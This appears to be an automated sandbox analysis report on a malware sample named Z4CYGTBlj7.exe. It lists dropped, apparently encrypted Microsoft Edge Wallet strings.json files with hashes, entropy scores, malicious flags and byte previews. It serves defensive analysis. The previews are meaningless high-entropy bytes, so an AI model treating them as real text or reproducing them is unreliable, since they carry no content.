SSDEEP:	384:p9HbVYuYafTSLvW9Ju9uYJ2wW81rewqtsoNbQfLYpRy4gd4AyP7OL:jdYiKOeW4rCeTtG57OL
MD5:	40194B288D75923F312728B6302779A4
SHA1:	D3558288AE59A56C2B0B161E17C92C62BD962866
SHA-256:	7A7440F913A65344267FCC0110818AB9218DEBB1F87B71CF4747817B9948B330
SHA-512:	62A1D424B618143765431DE337EDC400C018D3E7599EF914261CD2F3708F85331880538EDD961FCAEE1E4AF6C960C45C068ABC48DBD8C480FAFEE405D79D77BE
Malicious:	false
Preview:	{. ""BE..r9f.?.....I...0.r...1O.&.....Nx..I..`/..."aa....I.....fc....G.I.!$....O..p(...P.d...h......\|.....=.4[\|....o..`.f......'..W$`mw.+.M..p..x.e.@..!5/zU...vB87....'.+.S..7.+....\/.U..?}..a.P0.j.....Zz...#.E/>6....GEN..K...6......o..Y..............X.a...z....x..di......kS...=.p%..1..'.z{......l..-.......r..Y+...X..\..-... .r...P].vw<a.&njqC....P..4.......k.O..}.'.7./.n}V+....a.t..z2....I.i...V....5..Y.:.OW.s..G=.E....=y...x.e.....N..P..n..k....0s.^}.._...B.mmo.....p ...E...N.Ve.....U...-....2:..v.5.....NK..q].e.[..Z......)..X....=Z.~..:.......Y...!...#.{....=#.}Q......&LpP..7...h......3hp....MJ.vT6$O..vl/....A...P.G>.[`3... .....!(.*`.%..^d.0..^SI.B.....u.,.........Ip?..........k...I..j..........9../......\.:.a.+Y..?h..s..._....<l.zz{....u$....~W..`....r.^.....&....'.h4..e...(....i..t..`>e....<..sWkhX...M.5q.,ux.......vM9.I.-...\.;....Y.:.]SYw....b..0.u...j`......6...8..<..<..z...0.......HGs...1..b..g.....E.YHc....Gg.S....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\sv\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	14512
Entropy (8bit):	7.986724593886994
Encrypted:	false
SSDEEP:	384:VvgkO12tpb/YkUA2l8SJ3LTy2Uqf5f7o8sfTVsB2HE5GkB:V9AkUxDJ7Ty2rZMn7wgE5GkB
MD5:	5D01B135E66C4B176CE6233D77AD1257
SHA1:	9401B2E76F56BFF41BC8D9B55530993271CB492D
SHA-256:	723B785DFE6A62E1E4073BC74ED8ED8C48DF4378E86FAAC3B4B039B57FC8EFF6
SHA-512:	23846E3B4B200DFEAC00E3829CE079FD8F836197F85C6F8194216BD4762947524537FCA01C3556DA74D5BE3C14C611860194441B301DE2E6B6ED3DC885ED90C6
Malicious:	false
Preview:	{. ".......Z..{......=...6!.....q.KB.....e]..8.7..oFK8..._.X[:o.?.K......X.4..K...^..d..)..X..E-j.()...x..g'..4".^.....^...6#........2.}v.\..$..)<ExS..U..G.\|.........Rwk_...Hd..5.twl.D.:v.?...pN.+.....Fs.+6.e..^...z.A.<....;.....%...\|K.t.^T.....[e..._.x6.)4.S..+....<.-kG..o\.O..{.K.^.....,;..{.7;.d........y.t..Y.qL..$.C..h...+.}=...u....,FG7&....K. C.u.e.K`..G..\|......0.-...X.-n...Mu0r. t.kt'...O.]...Kn..\.....2D.A1/S.&..R.P}....@Ui.h...Z..w.&.G.X.r.oXkiNO.....2...\|.J..I.&.3....4.yt..G.E`...b4j...}...c..."....f.22...'........XZ1E...J.s...... 1.z?.A.E...B...]5....>...v..ir.\|.q.5.qq..$.C..qp)........3jK..v.x......mn.H..W.&Q..(..K.:.1.B.&....0.U.W....R....'5S....iC....N.?...U.#8..bd.....A=...J...V......#......;.(6Z....>...<2./S.}\|...F>w.y..+....Vw.xa"...{..{}.aJ.u..........[3\... .Q..g....{OG,eD.%."....ef7$....".0.Nq.%'#=.k...D`-\..w..M....Q=.J.h1..q......{.t!.f...[....8.\..O....b..%\|06...K..r......y..R...;...v.\H..\.u......NO9

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\zh-Hans\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	13208
Entropy (8bit):	7.9865083273240485
Encrypted:	false
SSDEEP:	384:i9P8BqVK5U9mOYIL8kFfWjN2Y2oj5Shaqcx:i9P8Bq2ymOB8kUjN2vkIaqcx
MD5:	BBF60E8C8D0DDE1376BD5FA8584316EE
SHA1:	51C5ECB3892E08BB4D7337D0F39B88DFB29E25A4
SHA-256:	E6D09BB9F9ED4F240A2A5859371D5ECE1658B37BEF1DA070A8DAD038D28DBB26
SHA-512:	241C0D194B281CCA35F9F25498A2C4D1BAF20DECAEA40922A8D5DCB03270836EE930EE5D774358A1A36A8B65EF828C42273E57384B332C3F214C50867F22D6BF
Malicious:	false
Preview:	{. ".l.........(.# ....%...qBN1..:6..kJ\.9q..bm...\|...n..e.BR.....6~.dm.&.PQ ...3/.B..U$.....!..o.......X.CI.......[..3....l.a.Z..vxG!W+.T.....q.S..Z%..g.<6. p4.!k..%^.........%..._'..V.S.....2f].I.............j<..r.T...z.l!./.&. .\|m.s.".T530.]E...\|.np.nU.m>K.=..S8.7.J...}m.Wxo 3../...y.a.A<O .e.xF....X..(.CD8.....d...CR.. ....8..(.s...'7..M>..K.j/:.....+.P...;....@..y..5....Q.D.....J.2[.:.......y.}5.x..8 ...NTr.....Or....lRK.T{.....f...Et.PZ,.z.........>.z..~\...A.7......].k..J.{b5...p...=...Lz,..,'..4..............K0#f.\|.o$...d..g.j.@...kpI.r...P.'1u.u....NE...g.i..ApL..........bpN........W0......S....@.9.e~..k..Jr{..q!.T..Q..B.-aT.M..!...o..QvM.l.....y..q...J..j[..........C...Z.}^.O.....P..v..4..[...e...J.L.\| ..8..x...).].....Jp.s.cz.h...9.h...=....s@z.u.v...o..yG(....Ma.8x*...R...^.3.{..?:,...h.T.@yTJ$(...Vb.E{.U..n..e.r...u2s.g0..#....-.XN.d:n...1\|...{\|..#9h.Y..S`.....6..!v..x..V.A.5...ih..s.4......6l(..?U..].._..9+........[-Q`6..rb._E8YGZ.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\zh-Hant\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	13663
Entropy (8bit):	7.987733051077837
Encrypted:	false
SSDEEP:	384:WQN+JLvJWOAvRlzTfzDLoVO5xKlx/cCrovX:L+9vJ3olzLXLrKX/rovX
MD5:	39354235E477AF30AF490EE2E39ED9D5
SHA1:	8BF9180E226DBA76ADA878AADAF1481966E724EF
SHA-256:	9CF736FACCA56F65DC8DF40ECBCE18D721ADA9972D901905FFA7C59D0306DA23
SHA-512:	2C88F504EF774185AE362590FBACD5E4EFB392585CB8238780D9F3C46460A85A6DBE4A9680D7D65A25106BEABC07D6D6601A0E834BBA95A6CE7790F179D5D427
Malicious:	false
Preview:	{. "..@..~D.QD._...?j..B.\...c.{........D._..f......Q..zQ.y#..n...w.......U.tj.De.n..7..6\.u............<<")^-=>......K.:.ut.l......k>.o...Q...~..(Qt......-M#.lZ..x.....e.....E..&..e.3.9..;...-...6[....){..G...0....0z_%..EQ).+.6.{.Esp..9.f.......[.v..../k..`.".AG.<B.'....U...tb..~.^...A.24.NU.s..TO..I...9.?f.Z.z..6..EQ#.h...I...........[Y.0uD......-6.._#$.#.ah.F(.9;...G.......m. .}..3%0W.bh.`P#.^.l.....{.f6..... .ay..?f{=..9.l..+GJg.!.aO?.[B(n\.a..aS..../#.V.U...!...}.>.......7.x.l...Z.^..T..I.c.....x6H.mY..._:...8X.......%0C........$q.n2D2.......Z.5M..L#Fq ..V.q..E)m......^.....u.8}......~8.2.......E.s........&..,...h...AB\|....`..Q..0....j$.T:..Z..:..9q......b.......p.:aD...}\n.j....o.B.)...../.......WP.......B.hC.-..~..o/.&..PK...dJ...,.`@...li.?..Z>06..1.`........\|..Q.U.[.G..l..\..@.nS'.......,..2...&...SMC.@..v3Uzv-..Lw.*...=])Y."-.F.VO-.\|..O.3g.\|.'.....".f.HB....Tf..(.....<R..^t.?(.....uV.0E.=.t%G.....F3......ux..U..j

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ar\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	73624
Entropy (8bit):	7.997615419484436
Encrypted:	true
SSDEEP:	1536:AB54nPrDRXmhMiVD2G/UH5rtT1jtLrUtEOlya0Z/:ABiPhXGCxjNwtEou
MD5:	A942B7D03DA3466FA8B27CE89D1AD820
SHA1:	7A383E15FBEB28DA5B22E6C88F22E8135C57B84E
SHA-256:	3DE823DFE1F7732E7BA6BEBB9AC73646E5EB7860ACC1A7A011867B0A3D1BC8E5
SHA-512:	A01A4B23B13044FC4533323609C895C4DBBA045DC7DE8EBF122001F7CDD4CD061B3C33E9987994347F9CA3A0AA0C7E99CEAB26872BB73716FDA8B76E0128274A
Malicious:	true
Preview:	{. ".`>..r.....I...7...tb9..,...F..};j.[.J.o)....x@.E...Gymg....)].fP...(x.u.7....~HD..'...}.:.$/%...2B..\...=.\|.Y^..k.G8......?......0a....G.!./.J4_.H....../...l<.^.,..3.=.$^.q....B3A..Z.6... ....T.2([..8..t....0...>.[&..."...K...8.s.X..cCv..^Yqp..U...x..C~....-.-g........Y..b.+n......&....SqxFB.5.f..{Q]].........^...).+.F..aSM.......O(..Y9. ?!.PqQ..1..dVRa...TGBb..B,Q..#.....h...We..0.......I.....x......U@...K...r.]JN..3a&..&...A...q.X.`.....z....&...;......@..Q:.....\.C.....[,;P.Oy..v..S.M..j.H.I....;nv.t.sz......].s..V....k.$..~$..oBN..LMF."s% ....3A{..#.k.?.(p.....I....).<.6i...[.O.9.w.U.....sH...=6..@... .....?n..U..u.B....b.d.F..m...).".!Q....Tp`.\6.}.w5....oD......}. Y.....L..a...n6.....\I....3.!V....a......=ue.}(.}",...1X.44.....).)..[. 2...s..+..U.!....(...m..D.b.....l..06.t..r.R.!/.....q.3.-..q......:3........aqL6..x:...@#.!....sC.r...W...a....3...%.>.q.O....p?2.......V....-L.`)...].Vr...:?..Vkq...!t.N...!

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\de\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	63689
Entropy (8bit):	7.997168059581506
Encrypted:	true
SSDEEP:	1536:IEUwOyMfOLUeb8wB3uCrvg5KEq9pnxWYH7BKGIn5WiLmDuzd:YreIwBHf9tbBhI5WMyuzd
MD5:	B0502B89C7CEEE7E47AE020CB9F9DBC1
SHA1:	7ECA08EE06D38F3077BC44CBEC398CFE530967B5
SHA-256:	CC209F76101E8EC17B21B2198A7B5012FF330F30B5EFC366E81F5894996887EE
SHA-512:	458FF15860FA4244799DC3D290D2E0C88B43B69BE1DE1D16308BFB6C7C54385E237F672B797966FA2C4D85D31523D60752049AF5B2A6DE70EFFDC74200472A9E
Malicious:	true
Preview:	{. "....h.oC....k:x.+.`.QT..l]......8_.T.~2.<\|d.....l..2...S).c.....d!...U...>..n^o...i....b.........T..V>._4N.@5/H..C\.Q...5.V.....1^.~....<.......$.aC.q...s-..9.....0 ...X.Q..g.).wW.g.....G$.j..M........6...6...-..t....C......d.A&.cOq<..,!.e.z..gp..#.E.!....){........,..b...S..+...h(,.5....F.F.\..\c.0.P..k.gZ.....2....pX;)...s..........]....:a..Q.4..^.\|J.O..#....;..o6..9@H..5.p..i..^n.v.4...O.n.....`......w{..'.....:o1....>...t,.Ks-.....=z.\|(.1.j..].pnB..q..0N`o....]+sQ..:..J.9?J........Zhv....6.)...NJ.I.. ..s...t.i....4Q.V..*.......D...o...h ....../..+l.Od.....-..h.P.,.............Q.<w.H.......\|..p........b.i_.....d.........7.H.v.9.ho.m..&bl}...;......M...K.a.o..j...K.c..X.e.M>.5.i...i'}?..:$.....{..r~..(.ox...Ep{2G._..2V.,..i/.4.?.N.[....J7C.xR..?..\|.a.s2.51..].....#........U...%..X.3..6.u5\.....7..i.9\|...q....;.".u......O.........<....m...=kg....8......n.M..l...t.n'\|O....?.=qF.-..?..........%.q.5.f..>.......V.0.a.d.....O.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\en-GB\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	54912
Entropy (8bit):	7.996236467754127
Encrypted:	true
SSDEEP:	1536:/ftMO+59alJUJ6DKdMWbiPzj2swiYCQ1sOlKJPWQL://iQpGMWb6j2CYCKsACPWO
MD5:	9ACA954059C77E15A4DE0984703E59AD
SHA1:	4D461496D8DDA2AAF563245C9A5429F9E5411996
SHA-256:	46B818731D256594154ADE9DD65DC8E8F31F1FE9775FB054EB06D1339B34FD91
SHA-512:	5CB4EDE5AFE2B417F8DC9DB51BB642F71C367B2B1141717BAA84ECCC6C7F16094FA830051CE4D0D441713CB04568D816E8F4CBC137031D4EE9EE09C4385714E9
Malicious:	true
Preview:	{. "V.B..c7...Q.m.....U.......b.....7RM..1.`}.....R.".s.C~._.....1..N...X/....RVy.......=!. .cPv.l...$.T.GTX...e.~.....O...v%.!P:..w.@..C}.)...e.7.......2A.%0.7Y.fR..Z.M..<2..{.-^...,<...C..]..M.G...+..#.\..L..Z[....\..yr..`.'>.....F&.....?DRA.N$..H.RFZ..r.>..Y.$.g.Lz1.1*..+..s..P%.&.M...<....N.u.Oj. [...>.4.m...@ts8O..w.'+..i..6.........0...Y..)~.a...C....9.MN..Y..Z..-.T.Z..I...eZ.b..z\|.3-T....)O..s0K.8j@^bJ...n.`.....uC.....I$<.H..{i4.+..... .2.<P.......#......]k..u"..{...x-G..s.,....<....m..:(.......m>.x.o.\+G....s?@.y.I.b..D....q.G(......ft.7....Po....[%GW..U_.......h.(.......s:>(.u%....tE@5.$....._^eSs.PL9.....i...]....W.;...@.m...F.....^..\|Y....$K.........{f.f....+..s..iy.4K6t.J.&Huh....1.O.-@..j..@=...._..l2.H\...._.`g.../...YY.....O}......$.%..N>........cE.3...e.. ..C.u.Q..V.nq.^....<M.P..O.O.A.3q...f...ah.i.Q7K`.j......4..B........+.X`.r.P=T..k.C....a=(?.Ml..%....B..ZKP..)...b...e..sa...o.p....S....Am.....Y^...By.....-.n.M

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\es\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	61278
Entropy (8bit):	7.996645530114546
Encrypted:	true
SSDEEP:	1536:FbGrXN9SfhNCwMYCW1vGVX0ugVRDzXslS+5sT9K370MXE:FbASwYCcvGpDg3XXstfLM
MD5:	954F7FE9A046B99EC27570DDFA8CBB3C
SHA1:	28118C17533AAFE146E5096EA71A9246C31FCB78
SHA-256:	12CDFCB13F0775A64BEF880E3CB7EA167951226E0D7B8D17CCD0DF44792A9889
SHA-512:	24FC95BA564F5A7D8F667350494DE7154A4F4BF026A819E4FC444C4065997687A2CE7E7DA9BC37C09708C158938896DFF5150B438FFD0A55479054D66ECB6CC8
Malicious:	true
Preview:	{. ".I..ip.%W..p.<?..t..3.._BD..^..r.3..u.F....(..L.]V..s....W.l.\|.~.4...;......!6.1Z.5..X....#dn..}..{$.....u....N..0...u^.M.z.C`..y&r_....;..G.....'.+.p..]..LU.d.9.TU......?.....,..uy4..............IX........n..r..J.....y.\|.R.qD....w.....&.....:..,....WN..."6.4~.......'...(c...\.X_c.....L..`.UYQ.....DM}..(.#...{..j+.....zO.yGl>.WU.s.....Cv.y.P...8../.a.x..Z+..]_....R....U........Y..V,._.,.y).}.h..n...v~GW..\U...0[t-..?..F.T....-s.......T$.Lq.......,..1........dL.A..T...K.r..T..5...m.s.;[...."..k.k.....,I..9.....(n....1.qA9.f~.~....M$..@...z.......FX.........a...i.pAhR.J\.L..Gl"...i....1.H.?[Gn.j?.8..7...WP....X.g..C.Y..>..c.....k....I..e.].;)......#.....mm.k,[;.......3.......w............E1W...X..H.=.e....../T.\|....w..2..0.h...h.Qcl...t%.)..wQ..n][v...Z.lZ.Ux4m:..+....4]m.3X..TSa.......(K..P@.<].$-..jyaK.r..:S./.....m.x.v.z..4"...,\4...?..a.$.%..B....c!..,.y.....~..!....D.kR&e..yxi. ......8[.~.d$..[R.Yg..a.As...,..xY3....e....<;.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\fr-CA\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	64991
Entropy (8bit):	7.996575593031195
Encrypted:	true
SSDEEP:	1536:dhWrUulaKODXPhfflRypxKOgI3WY3WJFcjGKXUCU1BudUDJeDyo22:3WrUulaKODG33WY3KF6zXCDI0022
MD5:	333E4E2EF76F8DC5ECAD94C9280CE352
SHA1:	A768F7AC12DA30CD9A06C8AA5BB4BA2BF7D35351
SHA-256:	7253D0443FA08C26D41519D65DC530259FE49D20EA971FD00075048AA0C1F3D2
SHA-512:	8B16BE4441BB1D5D29D5C15482911BE9D78DD3120F0357BB9D0CF454E5751FC3139E151686CE3D6EF8A4FDEDFA00A883D47C4E8808444D3715A45DF386962A4F
Malicious:	true
Preview:	{. "Y.h..Y.N^?...X.K....@.....v......t.Ej<..8..Z.t..f<.E..o.......<.F....p..C..ht....V...,..HQ/.\#3p=.].....{.J..t.>-c.l../".u.<.......U&..1.....>}9...&G.5q.u.g.h.0......u#.p.^.w....sI..a.x...X.k..c..k..J.a..3..6S....{.bFn.>t...W...'...j....~.j.c....D(..amu...B.L\|.i.....1...3...X/"T'q....!~a46.C.j.)..C.9......d..Aa.\k..\.0...b....`j........y....ZZ.nh..{.@R.v......<X.h.... ...x.MlCOy.\.&\.0....8..8..J.......k..I.W.gd.~.1v\.}..8.5s$....<T..pA....~h.hL..==....e.~X.2....my.Q .)W....v.l.G......T...f....G _cRo....ln1....*b..2.L..E..a^.z&....r..0..0.X.Ia..j....J....&;q..........YO...+).c.;......T.. .?.'....Gcfa..h....K=.:....2..g..%D...s..bB......Z.b..........[.Z@..O..H.\|...2.......9...6..>.0.#6y..N]\|.5....D.!.b...+ 4:.E._.b>......X..Sl...A..U..H...o..l.....`1..}7.O..w.I....'....^...J./.\|.....3.....d..f4...{..rO.qZ..B..d.._.......g.A..N1.6P.........`...K.{....&...57/.......%..FU6.-i.#.. .8.H...l.)Q..aj..(.~.B.6nP.K..t<\|.5%.!..%..#-.F...%.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\fr\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	64983
Entropy (8bit):	7.997293194271793
Encrypted:	true
SSDEEP:	1536:/rxAISu1ywW3NoPcr/NBHi7HRBTrpSYFYe9sWveCwESB:TaIlssbHRtTFY2sWYB
MD5:	C46984BA84A4380A7C2F12D05C6DCF22
SHA1:	A4E83B8AA978156E6FEA375603DF47D86EB1B903
SHA-256:	2E6FC8B747DEE45B5545B0D8B5B6CF79A60DD18D8FBCEF0630478FD56C8C9705
SHA-512:	C607A703D29A8BF7DB85930C925D97C145885FAE94AB9A45A8F0463F7C1E72A153F578B6CF80919BE7205CBFE13B4D634EFBE0159AEE51538699F0442B5A0E15
Malicious:	true
Preview:	{. "s.....Z.$du=..h.}].=T7-..F....}...V}..,.g<..:.!!.%,.I.z...P.(c..$.8'.Q....q..NC...5..S+..R=w...b.....{.u.!Q...X....oH.J......q.5_.7.%~y2.).....~......5....Q&M....M8.].Z..'.P.+.:........[Z..4e.....4!......p..UU.y.l..L.}...`.~.d..@Z+......I...j.d.&.(.p.L.<.H..8.h.s(m.;../...$A.6..1.Su.........ewN.>.IO._:..k@c..c....^.:..4....'.D...M.M..?."..].=)....L.2.vQTr..T..>..,.Lh...k2H.h...H.{}....IC.Um}Y..\.O..wAH..........P.+w}...D_.KG.`iT&.....J..){.,..2~...=...I..;:...c1L...p....i..h.l..&..{u.z.D]..~.6........ -.7.&.=aw.....d.......5.....7..P.].E.JU.5...f.......?}Z....K...f..6.4.......L.b^...D..M>Y;....5.-..8`.........)j..u...Z.y...8...hjzI...m...e[.2C....\|...;.\|..v.7...q.y,.F....!.[...........:E'.....$[we./..h,2,.R.x....AG...z.....hw..L.H...;.P1;...,..g<I...&........s.=..9.#.Yr.!......>.....>w.`t.:>:.....gs......jy..A.UO.....h8...GE.BQ...~O.Q.K....=..._.i.m...PDt!.....+.v..y....EP..Z..K.K...W.../.Z....Ko`...^.N.*a....HP".]...(.t.@..(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\id\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	58407
Entropy (8bit):	7.997016266771483
Encrypted:	true
SSDEEP:	1536:iuoRNSemwLpiaTaGC9EUO98bebL3DBcJsyaHTrbvgY:iBNS69iCfUO953lcJSX7gY
MD5:	51A4ED356DF54F44C28E054867914292
SHA1:	FD411E97CC54F60D1ABE9E33558E512BCB484F98
SHA-256:	70AF149D0D6B757041791E872B9321593B64A45A07E29BD3225B3AC5CDA870E4
SHA-512:	3DEC688646F1CE77EFA48667F6E082F84EB5136EDDF4EC7B45BD2CDF9E86EACA89768101EB0291D9ACDEAC712325DDE4AA2B53AFCE7FD4B7341A63477FB0DBD4
Malicious:	true
Preview:	{. "Q~5..n.A..;..R.)g..aX^..U{....B...Q.[.:...i,}>..Lz"{...G....zY.S...)..G..,._N..2R...2Wy./...cj.-.T.......I.,....f.g,R......Q...o....Jd..:....g.`..N._.k.m...I3......J....-.]D.....f.u.7i..1/........i..0..b~Ce..?.%=,....60.\|......d.......Q&w5_..e>..`.'2...!.k.g}?...^9F...../G.tF.5.8..'.......U.!.&.,]A......J..Lf.n.].....A...M....h.W.3.i+.......4>....\x.X?OCe.......r.S..8._..CH.Gb..k...y...>{....3..5..N.@.1I.n.n..2a.a.g+..o.I[)2.a.[o...x.".k...Y.L..;n.;.../...Us....]{.S-..._k.Z.Z+.&......e.d+Nz~..e.Q...o..>...{...0...........i.....Rc...\.........yZ...+..E.VKf.MC......i.........xJ.......7..I..L..,j+..#.......k.2l...@.......,...........v}.\|..........a.!.....x...VF.2....o?.....5.......7h!4..p.\|.C..w...!/;.M..9Y.....O......HZ..:A..O.xx.9,.c...E....K&......czt...K.9;. .O...a.Mynw.....#.j.NT.\|.....A.rX.G.L20d..CB....o{.[..*-..5.......v..'..)...fJ.lxn..]:m..x@.....e.+w.V.1.........$v.....F....uFf...t..+=@..z.......R...8.......g.c.Ij.a.e.2(..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\it\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	60955
Entropy (8bit):	7.996988847181463
Encrypted:	true
SSDEEP:	1536:sf5YrEX5viJxkbxb7qtYv4RpjLyze2kTy:6JztutYw/y0y
MD5:	5648F7A08BB4CA8062F150BD932671F0
SHA1:	67B4DDC15C52099CBC4A930C7FC78D28827A6871
SHA-256:	2637DF4516469BF34DDB149376E94B971174C9B3C316905AE2CFD2B3391FBEFE
SHA-512:	AAFB1EEC25EA3FE056B69CD4FDD3EA8EF93EECEE483DAC62B5D7BE2E6858382EBFD636E164DA692351C7CFAA12EE1D702A36C19351FB8E50411697CEECF34604
Malicious:	true
Preview:	{. "..:.9./..$...l.._.]..l...\|..6.J.d.1.v.N&..;e...;.\..~.YA....y....95...~1...+.rd.......<. L.;p.&...].xU.k..J...x.".F(x....e..-.g"...\|.t..U.k.Z....$.jt7...G...M.e...KHG..a..hu..h..[.?...if$..W.>W..Z4..7....k...v}k..a.p.,..ii....wjw.S.....#....t......x>......a...^..t_"[..:....OA.....[....'...W...d....'tiNC./.:...@X.%....w......]8..D..f....Z].iuo_V...%.-$....Op..c...j..yb.......>.S....I......B....cxC0]..c.x.EA......\|W.,_$...F.@3.T......{.......Y.......G....y.^C...1.x..B.......kww..&y..P..mW...........y.a.Xc.'..@....V.$.....T....-.............X&.z.;.U....g....j.S...$......wNx.f.c.F....<.t..B.....}~...V.....?....X-.).X.l..h..d0!J...A...0@...G....e2.e..<.o.qH......}.E.f........3,...W.\.XX_..9LL..Y..!7%...Q...F.%....t.5.^.w.G..04.Ed_?d.y.i......el:...:.....pY..`3..o...5.!...}0r......Dq.o.Q>..(..x.a..1.....sr....h.!.h..#..........q;.:..%Y....p..%...A...\|W..h,BDQ.Cg..`.......EJ...B.T.r...o>.(J*O..O5J...WA. u....f.[z.... ..1zw.$.+0G

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\ja\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	69778
Entropy (8bit):	7.997559440891035
Encrypted:	true
SSDEEP:	1536:J/YXws66lDve8I+wGINRN4oFgsgoTUoPp5owDdWMD4bOF7tEdoj6+sivW:Iws6ae8I+qPN4RsgUNPpuKYMBVMhiO
MD5:	6388E188611348FE959403B52E62E51A
SHA1:	19E380358D21DE2136E25313270070EF681FE98D
SHA-256:	29644B450DCA723CCA51A7C84EAB108226533CB0C06BF6E819C7CC74A8D55C1F
SHA-512:	7D12FD3218318856736DB332DD037B7683EC8A553F427A277618FBB078FDB356006C02E03E8849CB865931005A8FB28AB733AC3265C094B408097E318EC159E3
Malicious:	true
Preview:	{. "..Q....B.y.5......v.P..a.\|_.. .A...C.Lo.M<...m@...=W96.... .%O.y.c.d3.r.T.......b.C$V...T....W.#.E...R......-.t{....W.S...$.gHV...,.n.\..[. ..y..1./..a..p...... ."$Y.P...%.5..........}...Pj>.:2..M(B;`..:......D,.d....D..a...(+?....l...+.v.%8.g...\.p.e..@;?F...y.#.. .....Y....xW7....,<jo:.r..=....d.D...\%.%a..hD....-...7......,kF..f,.........h/E.s....qj[......Hy....q..].#...^0l......f..fj..EW.....q.n2....M.C.U.....n\|c.#F.@v........~B.x....)..q3.?..;..r+....?1.....xq....&.Z...r..O.V_n.<.C.....?Bq...@....P.....#.,S._2.b.....p...^.w..>T&. ....L...%..-....me.!.G.zS.....S..IC.K...I.O..s"...hX..8o....d.-.Y.a...3..Z.....&.g@.d...r!.T. h..V.}..?...k .?Y]..E9...e..>.4../. r..r....5.~.T.....i..f..i.f...W.w.D$P\|d..0/.lNo.....%_a.......:.n..?m3R...r......\^....D...$Q.b.F`...~...ewjU..EO..71i.?L/K.~.~.x(8.4..Z.'+<..,.~1..q1...$.=..v7x...1$........d....;...&.....,...$xp.}.o..8......s.5rr.^..H..-{7.....q.8k.....<...uUn4v\|:.fN....`.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\nl\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	60006
Entropy (8bit):	7.997175084595865
Encrypted:	true
SSDEEP:	1536:ruEEwzGQkQguYDnefMz4gc7GaAzroKLzptRRhbwpeg:rrE+pg5Sfxgc7GFQKLvlG
MD5:	9068FECE315FF7D4BD407024628FA1B2
SHA1:	500206C3D8273E7E418C6BD5464167942E890633
SHA-256:	04AFB2AFDE0E73F4DBFDD63FE0A3A5B4A90963735B5D546562F2AD51E524924A
SHA-512:	02046E246B8BD45AFD25DA6B06FFA3EA2F0968E3D3C54285CB1018F0467407E5EEF790B7000E2EF2B9E28FDB39EFB997F0309179A97AD885350BBE6A28276B41
Malicious:	true
Preview:	{. "O....3&.T....^4.1E?Y.DU...N.o.[\....=Z..zf^.[.l..e..H...(...m......q.M...N...........<.n....PGj.....X....Z5..C!.>.av......Y......vK.&].g..x.$....d."94-. C....K.:.W'WlR...$.h<...B.VE..7.dF..%.z.h........z..V^Z...N.k........g.G7..Jq.a..B...E..k..q+h...-.F..:.0.tfW........-..].bm.42F8...E.r....2P.4. '4Y~..e.k...g....".+...%n...^ww......e.B0.C.......t.\|Y.k![.K..4.m.b.&.1.{.B.IT:.G..MY.IX..d6...<..g....\..y......4J.].!`..[.-.G'.>..f.......51'..Hk7...<#.....q...}.)P.H.^..mH..N..B..>....f\|.S.....#+vk>;D.F.~zh.3.....W2..`...4\|u0.&v.).H.a;..VS..G....C..#..T.3jl..'...+Sp..d.P.K~v..yF.)...m.L.[e)W..U..T..~li.v....Q..;6..g...xk....z..W..(K...<.....?...+$.x.1u..,..)....D..=...6..^.X!S.7).o.....d..+....DY.$....,.1-0....M.....Ep........V..s.....Jkl....3.....F.0G...w..)2.<.W.$.(.bd@=.@..ZY:..A.V......LH..L...~.y.....d}.....<.?...R..l....m..;<... Dn.....mlg......6........z..Za`....k.v...C......................X.$......J\..........C..".U.%p\|..9..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-hub\pt-BR\strings.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	60323
Entropy (8bit):	7.997001961716943
Encrypted:	true
